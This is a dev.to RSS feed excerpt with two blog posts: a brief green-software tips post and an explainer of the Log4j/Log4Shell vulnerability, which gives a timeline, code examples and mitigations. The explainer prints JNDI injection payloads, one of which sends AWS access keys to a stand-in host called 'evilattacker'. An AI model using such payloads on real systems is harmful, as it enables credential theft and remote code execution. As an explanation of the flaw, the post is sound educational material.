&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--j8tt23aU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4pf4e3tx5rvyadlbcz20.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--j8tt23aU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4pf4e3tx5rvyadlbcz20.jpg" alt="Image description" width="880" height="656"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The face of Digital world has changed massively and the generation, processing and consumption of data has scaled up exponentially in the last decade. But what we miss under the picture is the load on the massive hardwares and their processing power.&lt;br&gt;
The kind of speed with which these servers process data and the energy consumption required to keep these systems cool is massive. Now you can imagine the amount of carbon footprint created with such energy, because high powers rely on fossil fuels.&lt;br&gt;
Google’s net energy consumption in a year is about 12.5 Terawatt, where Bitcoin mining accounts to more than 10times, 130 Terawatt per year. It is found that training certain Machine Learning models  accounts to release of carbon equal to that of 5 cars in their lifetime.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What can we do?&lt;/strong&gt;&lt;br&gt;
From the coding perspective:&lt;br&gt;
• &lt;strong&gt;Use efficient Algorithm:&lt;/strong&gt; An efficient algorithm can minimize the CPU consumption and in result reduce energy consumption.&lt;br&gt;
• &lt;strong&gt;Event based over Rest based:&lt;/strong&gt; Prefer using Event driven architectures because Rest architectures use unending loops waiting to receive instructions.&lt;br&gt;
• &lt;strong&gt;Fonts:&lt;/strong&gt; Even using optimal fonts reduces file size to a large scale. Fonts like WOFF reduces file size upto 97%.&lt;/p&gt;

&lt;p&gt;From electronics user perspective:&lt;br&gt;
• &lt;strong&gt;Emails:&lt;/strong&gt; One email sent releases about 4g of Carbon. Globally each individual accounts for about 136kg of C02 in a year. So we can reduce email transactions by unsubscribing to unwanted websites and avoid spams and advertisements.&lt;br&gt;
• &lt;strong&gt;Energy Saver modes&lt;/strong&gt; should be enabled while using any device.&lt;br&gt;
• &lt;strong&gt;Online shopping:&lt;/strong&gt; Online shopping adds up to releasing less carbon compared to driving to store.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;&lt;em&gt;Green Software Foundation&lt;/em&gt;&lt;/strong&gt; is a nonprofit founded by Accenture, GitHub, Microsoft and ThoughtWorks established with the Linux Foundation and the Joint Development Foundation Projects LLC to build a trusted ecosystem of people, standards, tooling and leading practices for building green software.&lt;/p&gt;

&lt;p&gt;If you find other ideas to reduce carbon emissions, do mention in the comment section.&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Log4j, What happened ?</title>
      <dc:creator>Debρarna Bisωas</dc:creator>
      <pubDate>Mon, 13 Jun 2022 17:14:01 +0000</pubDate>
      <link>https://dev.to/debparnob/log4j-what-happened--33ce</link>
      <guid>https://dev.to/debparnob/log4j-what-happened--33ce</guid>
      <description>&lt;p&gt;As we know Log4j is one of the most popular Java library used for logging. Developers might use it directly or even indirectly without even knowing because of other java dependencies which uses Log4j internally. The scanned data published by the software company &lt;strong&gt;Synk&lt;/strong&gt;, shows that &lt;strong&gt;60.8%&lt;/strong&gt; of all the Java projects use Log4j indirectly and not directly. &lt;/p&gt;

&lt;p&gt;But a vulnerability in the JNDI lookup of Log4j was detected and it was found to be present in the library, unchecked for 8 long years since 2013, when the lookup was introduced. Recently the vulnerability was being tested using a very famous payload ‘&lt;code&gt;${jndi:ldap//liveoverflow.com}&lt;/code&gt;’.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Timeline&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iOudvWAE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8hh0h1ufu4s6oynkip6n.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iOudvWAE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8hh0h1ufu4s6oynkip6n.jpg" alt="Image description" width="880" height="378"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;17th July, 2013:&lt;/strong&gt; In 2013 a feature patch was submitted to log4j to add JNDI lookups. But this was actually the introduction of the vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;25th Nov, 2014:&lt;/strong&gt; Some compatibility issues were reported by Developers where the log4j lookups were unwillingly formatting strings as they were getting recognised as lookup parameters. So, a feature was released to disable lookups. Eg: %m{noLookups} instead of using %m.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2016:&lt;/strong&gt; There was a talk by Blackhat about JNDI/LDAP manipulation and Remote code execution. Conducted by Pwntester and Oleksandr Mirosh, they even mentioned that JNDI lookup is not just looking up a basic string, but maybe a complex java object. So if an attacker can send arbitrary seralized objects to an application, then you likely get remote code execution. But this talk was about a Java feature and its security vulnerabilities and had nothing to do with Log4j. So, the research remained unnoticed and ignored.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9th Nov, 2017:&lt;/strong&gt; ‘formatMsgNoLookups’ config was introduced which disables lookups globally. This was the first mitigation for the issue, but was not perfect. &lt;/p&gt;

&lt;p&gt;[Because the lookups were still passing through in case the input messages were not a StringBuilderFormattable type, and the messages were getting through the lookup processing. Eg: Using logger.printf with format string instead of logger.info, the mitigation doesn’t work. This still remained unrecognised.]&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;26th Nov, 2021:&lt;/strong&gt; The vulnerability that JNDI lookups can be used to execute remote java codes was first reported by Chen Zhaojun of Alibaba Cloud Security Team. &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10th Dec, 2021:&lt;/strong&gt; Apache published an advisory for CVE-2021-44228 with an update for log4j. After 2 weeks from the date of report. This proved to be one of the largest and craziest security vulnerabilities of all time. Even the German issued an &lt;strong&gt;IT emergency of state 4 Red&lt;/strong&gt;. This means that the IT threat situation is very critical.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Vulnerability&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uh7qhzKb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9vbnd9xup7bt0c78vrva.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uh7qhzKb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9vbnd9xup7bt0c78vrva.jpg" alt="Image description" width="880" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The vulnerability found was a type of RCB (Remote Code Execution). It is also being called Log4Shell which is like opening a shell in a server having this vulnerability, probably by any attacker.&lt;br&gt;
Before getting in depth let’s start with a simple logger code.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;logger.error(“Error message {}”, error.getMessage());&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Using {} we can log any string in the right place which is pretty simple.&lt;/p&gt;

&lt;p&gt;Now log4j also supports lookups which is used to extract Environment variables. Eg:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;logger.info(“Home directory: ${env.HOME}”);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;This looks up and prints the home directory of the current server. Log4j supports several other lookups including the JNDI, exactly where it get interesting.&lt;/p&gt;

&lt;p&gt;Now log4j also supports adding lookups as parameter values. &lt;br&gt;
Eg:&lt;br&gt;
&lt;code&gt;logger.info(“Home directory: {}”, ${env.HOME});&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Thanks to this now any lookup string can be passed as a simple string argument which is not meant to be passed and log4j resolves the lookup anyway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Issue with JNDI lookup:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;logger.info(“Customer account: {}”, “${jndi:ldap://logconfig/prefix}”);&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Similar to the above example jndi lookup params can be passed to any log message and the jndi url will be resolved by the logger. Now a hacker can easily pass jndi urls of any other jndi server which contains malicious codes and execute them by passing them as jndi strings to target server. Example: A search engine, or any search tab in any ecommerce website using Log4j.&lt;/p&gt;

&lt;p&gt;Hackers can also leverage the JNDI lookup to disclose environmental variables.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;${jndi:ldap://evilattacker:1234/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Now an issue like this can be prevented by setting some JVM flags as false.&lt;br&gt;
&lt;code&gt;com.sun.jndi.ldap.object.trustURLCodebase&lt;/code&gt; &lt;code&gt;com.sun.jndi.rmi.object.trustURLCodebase&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;But a large number of Enterprise applications run on Java and directly or indirectly uses Log4j, and some developers may not be even aware of the flags or the vulnerability, which makes it at a bigger problem.&lt;/p&gt;

&lt;p&gt;Now the latest Log4J &lt;strong&gt;version 2.16&lt;/strong&gt; has fixed the issue. But the question is why did it take so long to find this issue. This has stayed since 2013 to 2021 for 8 long years. This opens up a wider question to how much the open-source libraries can be trusted. &lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
